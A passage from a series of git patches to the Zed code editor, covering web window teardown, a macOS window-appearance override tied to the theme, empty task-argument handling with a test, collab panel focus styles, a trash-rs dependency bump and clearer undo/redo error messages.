+        // `_resize_observer_closure` is freed; a late invocation of either
+        // would throw "closure invoked after being dropped".
+        if let Some(raf_id) = self.inner.raf_id.take() {
+            self.inner
+                .browser_window
+                .cancel_animation_frame(raf_id)
+                .ok();
+        }
+        if let Some(ref observer) = self._resize_observer {
+            observer.disconnect();
+        }
+
+        // The DPR media-query closure captures an `Rc<WebWindowInner>` and is
+        // stored inside the inner itself, forming a reference cycle; take it
+        // out so the inner can actually be freed.
+        self.inner.mql_handle.borrow_mut().take();
 
-        Some(closure)
+        let canvas: &web_sys::Element = self.inner.canvas.as_ref();
+        canvas.remove();
+        let input_element: &web_sys::Element = self.inner.input_element.as_ref();
+        input_element.remove();
     }
 }
 
@@ -607,16 +684,17 @@ impl PlatformWindow for WebWindow {
     }
 
     fn toggle_fullscreen(&self) {
-        let mut state = self.inner.state.borrow_mut();
-        state.is_fullscreen = !state.is_fullscreen;
+        let Some(document) = self.inner.browser_window.document() else {
+            return;
+        };
 
-        if state.is_fullscreen {
+        // `is_fullscreen` is updated by the `fullscreenchange` listener once
+        // the transition actually happens (or not, if the request fails).
+        if document.fullscreen_element().is_some() {
+            document.exit_fullscreen();
+        } else {
             let canvas: &web_sys::Element = self.inner.canvas.as_ref();
             canvas.request_fullscreen().ok();
-        } else {
-            if let Some(document) = self.inner.browser_window.document() {
-                document.exit_fullscreen();
-            }
         }
     }
 
diff --git a/crates/gpui_wgpu/Cargo.toml b/crates/gpui_wgpu/Cargo.toml
index b31614a78a5558..03aea7f7d25c4d 100644
--- a/crates/gpui_wgpu/Cargo.toml
+++ b/crates/gpui_wgpu/Cargo.toml
@@ -43,9 +43,9 @@ pollster.workspace = true
 
 [target.'cfg(target_family = "wasm")'.dependencies]
 wasm-bindgen.workspace = true
-wasm-bindgen-futures = "0.4"
+wasm-bindgen-futures.workspace = true
 web-sys = { version = "0.3", features = ["HtmlCanvasElement"] }
-js-sys = "0.3"
+js-sys.workspace = true
 
 [dev-dependencies]
 criterion.workspace = true

From 8e4e5a39eed932d943cb7a3e7078885b75d1ea54 Mon Sep 17 00:00:00 2001
From: Jason Lee <huacnlee@gmail.com>
Date: Tue, 28 Jul 2026 16:45:03 +0800
Subject: [PATCH 730/772] Match the macOS app appearance to the selected theme
 (#58902)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #5049.

When the system is in light mode but Zed uses a dark theme, the macOS
window chrome — the window border and the titlebar — is rendered light,
leaving a pale, low-contrast edge that makes the window look washed out.
Zed's own content renders correctly; the affected chrome is drawn by
AppKit, not Zed.

Why it happens: `NSWindow` conforms to `NSAppearanceCustomization`, so a
window's appearance is inherited app → window → view and resolved
through `effectiveAppearance` unless an explicit appearance is set. Zed
never set one, so every window inherited the *system* appearance and
AppKit drew the chrome for light mode regardless of the dark theme.

The fix uses the override AppKit provides for exactly this: set
`NSApplication.appearance` app-wide, so every window inherits it. VSCode
(`window.systemColorTheme`) and JetBrains IDEs do the same.

<img width="2600" height="1346" alt="after-light"
src="https://github.com/user-attachments/assets/c31376af-8f51-4c36-a62f-55714f63b59c"
/>

## GPUI

- Add `App::set_window_appearance(Option<WindowAppearance>)`, the setter
paired with the existing `App::window_appearance()` getter. `Some(_)`
forces a light/dark appearance; `None` clears the override and follows
the system again.
- macOS sets `NSApplication.appearance` (`None` → `nil`); no-op on other
platforms.
- Demo: `cargo run -p gpui --example window_appearance`.

## Zed

- An explicit light/dark theme (or a static theme) forces the matching
chrome; `System` follows the OS.
- Wired once at startup via a global settings observer, so every window
— including the settings window — stays in sync.

| Before | After |
| --- | --- |
| <img width="3630" height="1878" alt="before-light"
src="https://github.com/user-attachments/assets/44c9ab66-c0cf-433a-93b0-17446b34a284"
/> | <img width="3686" height="1832" alt="SCR-20260609-nzjk"
src="https://github.com/user-attachments/assets/32b0412b-0913-4e68-acba-bf39dcb6aa6a"
/> |


References:
[`NSAppearanceCustomization`](https://developer.apple.com/documentation/appkit/nsappearancecustomization)
·
[`NSApplication.appearance`](https://developer.apple.com/documentation/appkit/nsapplication/appearance)

Release Notes:

- Fixed the macOS window border and titlebar not matching the selected
theme when the system appearance differed (for example, a dark theme
under a light system theme).
([#5049](https://github.com/zed-industries/zed/issues/5049))

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 crates/gpui/src/app.rs            | 14 ++++++++++++++
 crates/gpui/src/platform.rs       | 10 ++++++++++
 crates/gpui_macos/src/platform.rs | 30 +++++++++++++++++++++++++++---
 crates/zed/src/zed.rs             | 19 +++++++++++++++++++
 4 files changed, 70 insertions(+), 3 deletions(-)

diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index 65a5331142dbfd..18b64ad96583ee 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -1325,6 +1325,20 @@ impl App {
         self.platform.window_appearance()
     }
 
+    /// Overrides the appearance (light/dark) applied to the app's windows, independent of
+    /// the OS-wide setting. Pass `None` to clear the override and follow the system again.
+    /// The current value is reported by [`App::window_appearance`].
+    ///
+    /// On macOS this sets the underlying `NSApplication.appearance`, which controls the
+    /// native window chrome (the window border and titlebar) of every window. Use this
+    /// when the app uses a dark theme while the system is in light mode (or vice versa)
+    /// so the window edges render to match the theme. While an appearance is forced,
+    /// windows stop tracking system light/dark changes; pass `None` to resume following
+    /// the system. On other platforms this is a no-op.
+    pub fn set_window_appearance(&self, appearance: Option<WindowAppearance>) {
+        self.platform.set_window_appearance(appearance);
+    }
+
     /// Returns the window button layout configuration when supported.
     pub fn button_layout(&self) -> Option<WindowButtonLayout> {
         self.platform.button_layout()
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 20600c3eb519ad..d6b2c1acdf5c45 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -167,6 +167,16 @@ pub trait Platform: 'static {
     /// Returns the appearance of the application's windows.
     fn window_appearance(&self) -> WindowAppearance;
 
+    /// Overrides the appearance (light/dark) applied to the app's windows, independent
+    /// of the OS-wide setting. Pass `None` to clear the override and follow the system
+    /// again. The override is reflected by [`Platform::window_appearance`].
+    ///
+    /// Currently only implemented on macOS, where it sets `NSApplication.appearance` so
+    /// the native window chrome (the window border and titlebar) of every window matches
+    /// a dark app theme even when the system is in light mode (or vice versa). A no-op on
+    /// other platforms.
+    fn set_window_appearance(&self, _appearance: Option<WindowAppearance>) {}
+
     /// Returns the window button layout configuration when supported.
     fn button_layout(&self) -> Option<WindowButtonLayout> {
         None
diff --git a/crates/gpui_macos/src/platform.rs b/crates/gpui_macos/src/platform.rs
index b25067935e5f2b..c9bd3076006788 100644
--- a/crates/gpui_macos/src/platform.rs
+++ b/crates/gpui_macos/src/platform.rs
@@ -7,9 +7,10 @@ use anyhow::{Context as _, anyhow};
 use block::ConcreteBlock;
 use cocoa::{
     appkit::{
-        NSApplication, NSApplicationActivationPolicy::NSApplicationActivationPolicyRegular,
-        NSControl as _, NSEventModifierFlags, NSMenu, NSMenuItem, NSModalResponse, NSOpenPanel,
-        NSSavePanel, NSVisualEffectState, NSVisualEffectView, NSWindow,
+        NSAppearanceNameVibrantDark, NSAppearanceNameVibrantLight, NSApplication,
+        NSApplicationActivationPolicy::NSApplicationActivationPolicyRegular, NSControl as _,
+        NSEventModifierFlags, NSMenu, NSMenuItem, NSModalResponse, NSOpenPanel, NSSavePanel,
+        NSVisualEffectState, NSVisualEffectView, NSWindow,
     },
     base::{BOOL, NO, YES, id, nil, selector},
     foundation::{
@@ -677,6 +678,29 @@ impl Platform for MacPlatform {
         }
     }
 
+    fn set_window_appearance(&self, appearance: Option<WindowAppearance>) {
+        unsafe {
+            let app: id = msg_send![APP_CLASS, sharedApplication];
+            // `None` clears the override by setting a nil appearance, so the app
+            // falls back to tracking the system-wide light/dark setting.
+            let ns_appearance: id = match appearance {
+                None => nil,
+                Some(appearance) => {
+                    let name: id = match appearance {
+                        WindowAppearance::Light => crate::window_appearance::NSAppearanceNameAqua,
+                        WindowAppearance::Dark => {
+                            crate::window_appearance::NSAppearanceNameDarkAqua
+                        }
+                        WindowAppearance::VibrantLight => NSAppearanceNameVibrantLight,
+                        WindowAppearance::VibrantDark => NSAppearanceNameVibrantDark,
+                    };
+                    msg_send![class!(NSAppearance), appearanceNamed: name]
+                }
+            };
+            let _: () = msg_send![app, setAppearance: ns_appearance];
+        }
+    }
+
     fn open_url(&self, url: &str) {
         unsafe {
             let ns_url = NSURL::alloc(nil).initWithString_(ns_string(url));
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 76d27fb23166d9..c5db036e50361b 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -434,6 +434,7 @@ pub fn initialize_workspace(app_state: Arc<AppState>, cx: &mut App) {
     .detach();
 
     init_cursor_hide_mode(cx);
+    init_app_appearance(cx);
     init_reduce_motion(cx);
 
     cx.observe_new(|_multi_workspace: &mut MultiWorkspace, window, cx| {
@@ -2051,6 +2052,24 @@ fn init_cursor_hide_mode(cx: &mut App) {
     cx.observe_global::<SettingsStore>(apply).detach();
 }
 
+fn init_app_appearance(cx: &mut App) {
+    // Force the native window chrome (border + titlebar) to match the selected theme.
+    // `System` follows the OS (no override); any other theme forces its appearance, so a
+    // dark theme doesn't render a light window border when the system is in light mode.
+    let apply = |cx: &mut App| {
+        let appearance = match ThemeSettings::get_global(cx).theme.mode() {
+            Some(theme_settings::ThemeAppearanceMode::System) => None,
+            _ => Some(match cx.theme().appearance() {
+                theme::Appearance::Light => gpui::WindowAppearance::Light,
+                theme::Appearance::Dark => gpui::WindowAppearance::Dark,
+            }),
+        };
+        cx.set_window_appearance(appearance);
+    };
+    apply(cx);
+    cx.observe_global::<SettingsStore>(apply).detach();
+}
+
 #[derive(Copy, Clone, Debug, settings::RegisterSetting)]
 struct ReduceMotionSetting(settings::ReduceMotionMode);
 

From a5d1afa534aa3e0451b8debb3ae997a902d5ab52 Mon Sep 17 00:00:00 2001
From: Pingy <76990079+pingpong74@users.noreply.github.com>
Date: Tue, 28 Jul 2026 17:21:44 +0530
Subject: [PATCH 731/772] Fix unexpected argument ' ' upon trying to debug
 while cargo is indexing (#61241)

# Objective
Fixes #47119

## Solution

Strip empty-string arguments from the resolved build task in
debugger_ui::session::running::RunningState::resolve_scenario after
template substitution, before spawning the build command. This is the
correct place to do this as:
1.It's the first point in the pipeline where the empty strings exist as
concrete values rather than unsubstituted template variables.
2. It acts as a general safety net for any future locator that produces
a shell-command build step with placeholder args.
3. Other languages (Go, Node, Python) use build: None and pass
structured JSON directly to their DAP adapters, so they never hit this
code path.


## Testing

Performed visual and self testing by replicating the issue.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed unexpected argument '' upon trying to debug while cargo is
indexing

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/task/src/task_template.rs | 47 +++++++++++++++++++++++++++++++-
 1 file changed, 46 insertions(+), 1 deletion(-)

diff --git a/crates/task/src/task_template.rs b/crates/task/src/task_template.rs
index dfd44590604121..e6cc357bf682c2 100644
--- a/crates/task/src/task_template.rs
+++ b/crates/task/src/task_template.rs
@@ -452,7 +452,10 @@ fn substitute_all_template_variables_in_vec(
             variable_names,
             substituted_variables,
         )?;
-        expanded.push(new_value);
+
+        if !new_value.is_empty() || variable.is_empty() {
+            expanded.push(new_value);
+        }
     }
 
     Some(expanded)
@@ -1151,4 +1154,46 @@ mod tests {
             ],
         );
     }
+
+    #[test]
+    fn test_args_produced_by_empty_variables_are_omitted() {
+        let features_flag = VariableName::Custom(Cow::Borrowed("features_flag"));
+        let features = VariableName::Custom(Cow::Borrowed("features"));
+        let bin_name = VariableName::Custom(Cow::Borrowed("bin_name"));
+
+        let task = TaskTemplate {
+            label: "cargo run".to_string(),
+            command: "cargo".to_string(),
+            args: vec![
+                "run".to_string(),
+                "--bin".to_string(),
+                bin_name.template_value(),
+                features_flag.template_value(),
+                features.template_value(),
+                String::new(),
+                format!("--config={}", features.template_value()),
+            ],
+            ..TaskTemplate::default()
+        };
+
+        let context = TaskContext {
+            task_variables: TaskVariables::from_iter([
+                (features_flag, String::new()),
+                (features, String::new()),
+                (bin_name, "test_bin".to_string()),
+            ]),
+            ..TaskContext::default()
+        };
+
+        let resolved = task
+            .resolve_task(TEST_ID_BASE, &context)
+            .unwrap_or_else(|| panic!("failed to resolve task {task:?}"))
+            .resolved;
+        assert_eq!(
+            resolved.args,
+            vec!["run", "--bin", "test_bin", "", "--config="],
+            "args that consist entirely of variables resolved to empty strings should be omitted, \
+            while literal empty args and partially substituted args should be preserved"
+        );
+    }
 }

From 65f3428fb5ef13354098a30595fc18a43e0c1ce3 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 28 Jul 2026 08:55:00 -0300
Subject: [PATCH 732/772] collab_panel: Make focus and selected styles
 consistent (#61749)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

As in, make it consistent with the other panels, where we use a blue
border for the focused state and a different background color for the
selected state. It's been a long time coming little design fix to the
collab panel.

<img width="450" alt="Screenshot 2026-07-27 at 8  01@2x"
src="https://github.com/user-attachments/assets/70724483-8092-4993-afd4-5faa3d3fae51"
/>

Release Notes:

- N/A
---
 crates/collab_ui/src/collab_panel.rs         | 49 ++++++++++++++------
 crates/ui/src/components/list/list_header.rs | 26 ++++++++++-
 crates/ui/src/components/list/list_item.rs   | 29 +++++++-----
 3 files changed, 78 insertions(+), 26 deletions(-)

diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 83f9e46f71d259..5a52afc7cbe4bb 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -35,9 +35,9 @@ use theme::ActiveTheme;
 use theme_settings::ThemeSettings;
 use ui::{
     Avatar, AvatarAvailabilityIndicator, CollabNotification, ContextMenu, CopyButton,
-    DecoratedIcon, Disclosure, Facepile, HighlightedLabel, IconButtonShape, IconDecoration,
-    IconDecorationKind, IndentGuideColors, Indicator, ListHeader, ListItem, ScrollAxes, Scrollbars,
-    Tab, TintColor, Tooltip, WithScrollbar, prelude::*, tooltip_container,
+    DecoratedIcon, Disclosure, DockSide, Facepile, HighlightedLabel, IconButtonShape,
+    IconDecoration, IconDecorationKind, IndentGuideColors, Indicator, ListHeader, ListItem,
+    ScrollAxes, Scrollbars, Tab, TintColor, Tooltip, WithScrollbar, prelude::*, tooltip_container,
 };
 use util::{ResultExt, TryFutureExt, maybe};
 use workspace::{
@@ -1162,6 +1162,13 @@ impl CollabPanel {
         ))
     }
 
+    fn dock_side(&self, cx: &App) -> DockSide {
+        match CollaborationPanelSettings::get_global(cx).dock {
+            DockPosition::Right => DockSide::Right,
+            _ => DockSide::Left,
+        }
+    }
+
     fn render_call_participant(
         &self,
         user: &Arc<User>,
@@ -1205,7 +1212,8 @@ impl CollabPanel {
         ListItem::new(user.username.clone())
             .start_slot(Avatar::new(user.avatar_uri.clone()))
             .child(render_participant_name_and_handle(user))
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .end_slot(end_slot)
             .tooltip(Tooltip::text("Click to Follow"))
             .when_some(peer_id, |el, peer_id| {
@@ -1253,7 +1261,8 @@ impl CollabPanel {
 
         ListItem::new(project_id as usize)
             .height(panel_row_height())
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .on_click(cx.listener(move |this, _, window, cx| {
                 this.workspace
                     .update(cx, |workspace, cx| {
@@ -1294,7 +1303,8 @@ impl CollabPanel {
 
         ListItem::new(("screen", id))
             .height(panel_row_height())
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .start_slot(
                 h_flex()
                     .gap_1p5()
@@ -1341,7 +1351,8 @@ impl CollabPanel {
 
         ListItem::new("channel-notes")
             .height(panel_row_height())
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .on_click(cx.listener(move |this, _, window, cx| {
                 this.open_channel_notes(channel_id, window, cx);
             }))
@@ -2755,7 +2766,9 @@ impl CollabPanel {
     ) -> AnyElement {
         let entry = self.entries[ix].clone();
 
-        let is_selected = self.selection == Some(ix);
+        let is_selected =
+            self.selection == Some(ix) && self.focus_handle.contains_focused(window, cx);
+
         match entry {
             ListEntry::Header(section) => {
                 let is_collapsed = self.collapsed_sections.contains(&section);
@@ -3100,7 +3113,8 @@ impl CollabPanel {
                 })
                 .inset(true)
                 .end_slot::<AnyElement>(button)
-                .toggle_state(is_selected),
+                .focused(is_selected)
+                .dock(self.dock_side(cx)),
         )
     }
 
@@ -3127,7 +3141,9 @@ impl CollabPanel {
         let item = ListItem::new(username.clone())
             .indent_level(1)
             .indent_step_size(px(20.))
-            .toggle_state(is_selected || context_menu_open_via_row)
+            .toggle_state(context_menu_open_via_row)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .child(
                 h_flex()
                     .w_full()
@@ -3265,7 +3281,8 @@ impl CollabPanel {
         ListItem::new(username.clone())
             .indent_level(1)
             .indent_step_size(px(20.))
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .child(
                 h_flex()
                     .w_full()
@@ -3309,7 +3326,8 @@ impl CollabPanel {
         ];
 
         ListItem::new(("channel-invite", channel.id.0 as usize))
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .child(
                 h_flex()
                     .w_full()
@@ -3328,7 +3346,8 @@ impl CollabPanel {
         ListItem::new("contact-placeholder")
             .child(Icon::new(IconName::Plus))
             .child(Label::new("Add a Contact"))
-            .toggle_state(is_selected)
+            .focused(is_selected)
+            .dock(self.dock_side(cx))
             .on_click(cx.listener(|this, _, window, cx| this.toggle_contact_finder(window, cx)))
     }
 
@@ -3510,7 +3529,9 @@ impl CollabPanel {
                     .height(height)
                     .indent_level(depth)
                     .indent_step_size(px(20.))
-                    .toggle_state(is_selected || is_active)
+                    .toggle_state(is_active)
+                    .focused(is_selected)
+                    .dock(self.dock_side(cx))
                     .on_click(cx.listener(move |this, _, window, cx| {
                         if is_active {
                             this.open_channel_notes(channel_id, window, cx)
diff --git a/crates/ui/src/components/list/list_header.rs b/crates/ui/src/components/list/list_header.rs
index e8b2b6c7a8fd16..69f4ac5212096c 100644
--- a/crates/ui/src/components/list/list_header.rs
+++ b/crates/ui/src/components/list/list_header.rs
@@ -1,6 +1,6 @@
 use std::sync::Arc;
 
-use crate::{Disclosure, IconButtonShape, prelude::*};
+use crate::{Disclosure, DockSide, IconButtonShape, prelude::*};
 use component::{Component, ComponentScope, example_group_with_title, single_example};
 use gpui::{AnyElement, ClickEvent};
 use theme::UiDensity;
@@ -23,6 +23,8 @@ pub struct ListHeader {
     inset: bool,
     selected: bool,
     height: Option<DefiniteLength>,
+    focused: Option<bool>,
+    dock: Option<DockSide>,
 }
 
 impl ListHeader {
@@ -38,6 +40,8 @@ impl ListHeader {
             on_toggle: None,
             selected: false,
             height: None,
+            focused: None,
+            dock: None,
         }
     }
 
@@ -84,6 +88,16 @@ impl ListHeader {
         self.inset = inset;
         self
     }
+
+    pub fn focused(mut self, focused: bool) -> Self {
+        self.focused = Some(focused);
+        self
+    }
+
+    pub fn dock(mut self, dock: impl Into<Option<DockSide>>) -> Self {
+        self.dock = dock.into();
+        self
+    }
 }
 
 impl Toggleable for ListHeader {
@@ -115,6 +129,16 @@ impl RenderOnce for ListHeader {
                     .when(self.selected, |this| {
                         this.bg(cx.theme().colors().ghost_element_selected)
                     })
+                    .when_some(self.focused, |this, focused| {
+                        this.border_1()
+                            .when_some(self.dock, |this, dock| match dock {
+                                DockSide::Left => this.border_l_2(),
+                                DockSide::Right => this.border_r_2(),
+                            })
+                            .when(focused, |this| {
+                                this.border_color(cx.theme().colors().border_focused)
+                            })
+                    })
                     .flex()
                     .flex_1()
                     .items_center()
diff --git a/crates/ui/src/components/list/list_item.rs b/crates/ui/src/components/list/list_item.rs
index f6a37ee0522a24..860c78d1536f12 100644
--- a/crates/ui/src/components/list/list_item.rs
+++ b/crates/ui/src/components/list/list_item.rs
@@ -14,6 +14,12 @@ pub enum ListItemSpacing {
     Sparse,
 }
 
+#[derive(Debug, PartialEq, Eq, Clone, Copy)]
+pub enum DockSide {
+    Left,
+    Right,
+}
+
 #[derive(Default)]
 enum EndSlotVisibility {
     #[default]
@@ -51,7 +57,7 @@ pub struct ListItem {
     rounded: bool,
     overflow_x: bool,
     focused: Option<bool>,
-    docked_right: bool,
+    dock: Option<DockSide>,
     height: Option<DefiniteLength>,
     aria_role: Option<Role>,
     aria_label: Option<SharedString>,
@@ -87,7 +93,7 @@ impl ListItem {
             rounded: false,
             overflow_x: false,
             focused: None,
-            docked_right: false,
+            dock: None,
             height: None,
             aria_role: None,
             aria_label: None,
@@ -258,8 +264,8 @@ impl ListItem {
         self
     }
 
-    pub fn docked_right(mut self, docked_right: bool) -> Self {
-        self.docked_right = docked_right;
+    pub fn dock(mut self, dock: impl Into<Option<DockSide>>) -> Self {
+        self.dock = dock.into();
         self
     }
 
@@ -304,13 +310,14 @@ impl RenderOnce for ListItem {
             })
             .when(!self.inset, |this| {
                 this.when_some(self.focused, |this, focused| {
-                    if focused && !self.disabled {
-                        this.border_1()
-                            .when(self.docked_right, |this| this.border_r_2())
-                            .border_color(cx.theme().colors().border_focused)
-                    } else {
-                        this.border_1()
-                    }
+                    this.border_1()
+                        .when_some(self.dock, |this, dock| match dock {
+                            DockSide::Left => this.border_l_2(),
+                            DockSide::Right => this.border_r_2(),
+                        })
+                        .when(focused && !self.disabled, |this| {
+                            this.border_color(cx.theme().colors().border_focused)
+                        })
                 })
                 .when(self.selectable && !self.disabled, |this| {
                     this.hover(|style| style.bg(cx.theme().colors().ghost_element_hover))

From ab92195a02b23c95fc21755bb7a89c6a07aa3f3a Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Tue, 28 Jul 2026 13:16:56 +0100
Subject: [PATCH 733/772] fs: Update trash-rs version (#61721)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Update the version of `trash-rs` used in order to contain the fix for
the panic when restoring a non-existing trash item in Linux –
https://github.com/zed-industries/trash-rs/commit/41c6c800d884a89351f3b8856d12894cccee261d
.

## Solution

N/A

## Testing

N/A

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 Cargo.lock           | 2 +-
 crates/fs/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index ebc0bcebc8d261..d4333bbd43e00b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -19433,7 +19433,7 @@ dependencies = [
 [[package]]
 name = "trash"
 version = "5.2.5"
-source = "git+https://github.com/zed-industries/trash-rs?rev=47761739192828a66b11a94ba5420b82d63c03c5#47761739192828a66b11a94ba5420b82d63c03c5"
+source = "git+https://github.com/zed-industries/trash-rs?rev=41c6c800d884a89351f3b8856d12894cccee261d#41c6c800d884a89351f3b8856d12894cccee261d"
 dependencies = [
  "chrono",
  "libc",
diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index 2f1d694f25a304..4d618e065da78a 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -46,7 +46,7 @@ util.workspace = true
 path.workspace = true
 is_executable = "1.0.5"
 notify = "9.0.0-rc.4"
-trash = { git = "https://github.com/zed-industries/trash-rs", rev = "47761739192828a66b11a94ba5420b82d63c03c5" }
+trash = { git = "https://github.com/zed-industries/trash-rs", rev = "41c6c800d884a89351f3b8856d12894cccee261d" }
 
 [target.'cfg(unix)'.dependencies]
 rustix.workspace = true

From 8780e3a1e2a4c510f701a2ae6bb70c23ff5f8284 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Tue, 28 Jul 2026 13:22:11 +0100
Subject: [PATCH 734/772] project_panel: Refactor undo and redo error messages
 (#60186)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Improve the error messages shown when undoing or redoing project panel
operations fail. Right now we're mostly relying on the error message
generated by the underlying function or method that attempts to apply
the inverse operation, which might not be the best UX.

## Solution

* Update the style used in the `Workspace::show_notification` call,
under `project_panel::undo::Inner::show_error`, in order to use markdown
styling. This allows paths to stand out a little bit better, which is
helpful seeing as pretty much all error messages will contain path
information in the notification's body.
* Update the way paths are displayed so as to show the full relative
path and, if multiple worktrees are present, include the worktree name.
This helps disambiguate cases where multiple worktrees might have the
same path, for example, `src/lib.rs`.
* Update each specific operation's error message to better convey what
exactly failed.

## Testing

Manually tested each of the scenarios outlined in the `Showcase`
section. Please refer to the screenshots in that section to see before
and after comparisons

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

### Undo failures

<details>
<summary>1. Move conflict</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Move `a.txt` into `docs/` (cut/paste or drag)<br>2. Run `touch
a.txt`<br>3. Undo | <img width="2736" height="1586" alt="1_before"
src="https://github.com/user-attachments/assets/d60660d1-ba85-4a08-82a3-a6e3f6d84506"
/> | <img width="2736" height="1586" alt="1_after"
src="https://github.com/user-attachments/assets/c050f287-b186-42db-8995-57102d1db4d2"
/> |

</details>

<details>
<summary>2. Rename conflict</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Rename `a.txt` → `b.txt`<br>2. Run `touch a.txt`<br>3. Undo | <img
width="2736" height="1586" alt="2_before"
src="https://github.com/user-attachments/assets/0c0eb0bc-ea01-4642-a63a-69687b2ba13e"
/> | <img width="2736" height="1586" alt="2_after"
src="https://github.com/user-attachments/assets/68dba045-60b2-462e-9f34-5bb038a4a245"
/> |

</details>

<details>
<summary>3. Source no longer exists</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Move `a.txt` into `docs/`<br>2. Run `rm docs/a.txt`<br>3. Undo |
<img width="2736" height="1586" alt="3_before"
src="https://github.com/user-attachments/assets/2f55327c-d478-44f5-ac85-5e0b10044a52"
/> | <img width="2736" height="1586" alt="3_after"
src="https://github.com/user-attachments/assets/5296b431-c2a1-408e-8920-9f2d5c1d169a"
/> |

</details>

<details>
<summary>4. Restore from emptied Trash</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Delete `a.txt` (moves it to Trash)<br>2. Empty it from the system
Trash<br>3. Undo | <img width="2736" height="1586" alt="4_before"
src="https://github.com/user-attachments/assets/41966e44-409a-4ae2-ada1-59992658f1b5"
/> | <img width="2736" height="1586" alt="4_after"
src="https://github.com/user-attachments/assets/f6df01f9-0702-4f28-80aa-eb2289077ea5"
/> |

</details>

<details>
<summary>5. Restore collision</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Delete `a.txt` (to Trash)<br>2. Run `touch a.txt`<br>3. Undo | <img
width="2736" height="1586" alt="5_before"
src="https://github.com/user-attachments/assets/f4151e85-7668-4dab-8cf4-b45ef0fdb741"
/> | <img width="2736" height="1586" alt="5_after"
src="https://github.com/user-attachments/assets/3f25aa56-1b59-4230-9a15-b39a0d280a48"
/> |

</details>

<details>
<summary>6. Trash a file that's gone</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Create `empty.txt` in the panel<br>2. Run `rm empty.txt`<br>3. Undo
| <img width="2736" height="1586" alt="6_before"
src="https://github.com/user-attachments/assets/077edeb8-3618-4b72-b49f-9d1cc3a801d5"
/> | <img width="2736" height="1586" alt="6_after"
src="https://github.com/user-attachments/assets/4b1d6689-93b1-4725-8829-2f71b4b586e9"
/> |

</details>

### Redo failures

<details>
<summary>7. Redo a move into an occupied destination</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Move `a.txt` into `docs/`, then Undo (file back at root)<br>2. Run
`touch docs/a.txt`<br>3. Redo | <img width="2736" height="1586"
alt="7_before"
src="https://github.com/user-attachments/assets/d6591d08-b0a1-4992-866f-fcc26491ba8c"
/> | <img width="2736" height="1586" alt="7_after"
src="https://github.com/user-attachments/assets/b46d5fe2-09be-4264-9834-f5965f5f1150"
/> |

</details>

<details>
<summary>8. Redo a restore after the Trash was emptied</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Create `empty.txt`, then Undo (it gets trashed)<br>2. Empty it from
the system Trash<br>3. Redo | <img width="2736" height="1586"
alt="8_before"
